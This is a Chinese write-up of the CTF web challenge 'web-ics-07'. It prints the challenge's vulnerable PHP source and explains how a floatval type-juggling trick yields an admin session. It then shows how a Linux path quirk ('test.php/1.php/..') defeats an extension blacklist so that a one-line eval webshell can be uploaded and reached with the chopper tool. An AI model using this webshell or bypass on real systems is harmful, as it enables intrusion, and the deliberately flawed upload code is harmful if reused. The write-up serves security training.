1. 程式人生 > 實用技巧 >攻防世界-web-ics-07(PHP弱型別、linux目錄結構特性繞過檔案型別過濾)

攻防世界-web-ics-07(PHP弱型別、linux目錄結構特性繞過檔案型別過濾)

工控雲管理系統專案管理頁面解析漏洞。

進入題目後,點選進入專案管理頁面。

點選view-source檢視原始碼。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    
?> <form action="#" method="get"> page : <input type="text" name="page" value=""> id : <input type="text" name="id" value=""> <input type="submit" name="submit" value="submit"> </form> <br /> <a href="index.phps">view-source</
a> <?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } }
?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?> </body> </html>
View Code

1 程式碼解析:發現漏洞

下面對程式碼進行解析。關鍵程式碼有3段。

第一段

如果傳入的引數page的值不是index.php,則包含flag.php,否則重定向到?page=flag.php。

    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

第二段

$_SESSION['admin'] = True的情況下,POST提交con和file兩個引數,對$filename進行正則判斷,如果判斷正確檔案會被上傳到uploaded/backup目錄下。正則匹配這裡把一些字尾加入了黑名單

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

第三段

這一段可以使$_SESSION['admin'] = True;我們來看一下怎麼構造。他需要獲取一個id引數, 並且id不為1,且最後一位等於9。
這裡用到了floatval這個函式,floatval 函式用於獲取變數的浮點值,但是floatval在遇到字元時會截斷後面的部分,比如-,+,空格等,所以可以構造id=1 9來滿足第一個if條件,if條件滿足可以使得$result變數為TRUE。成功使$_SESSION['admin'] = True;

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

2 構造payload:上傳木馬

下面考慮如何上傳木馬檔案。這裡利用Linux的一個目錄結構特性。我們遞迴的在1.php資料夾中再建立2.php,訪問1.php/2.php/..進入的是1.php資料夾

payloa如下

con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..

注意這裡page引數的值不能為flag.php,否則是上傳不成功的。

訪問/uploaded/backup/目錄,發現上傳成功。

3 菜刀連線:獲取flag

上菜刀。

參考:https://www.cnblogs.com/HelloCTF/p/13188482.html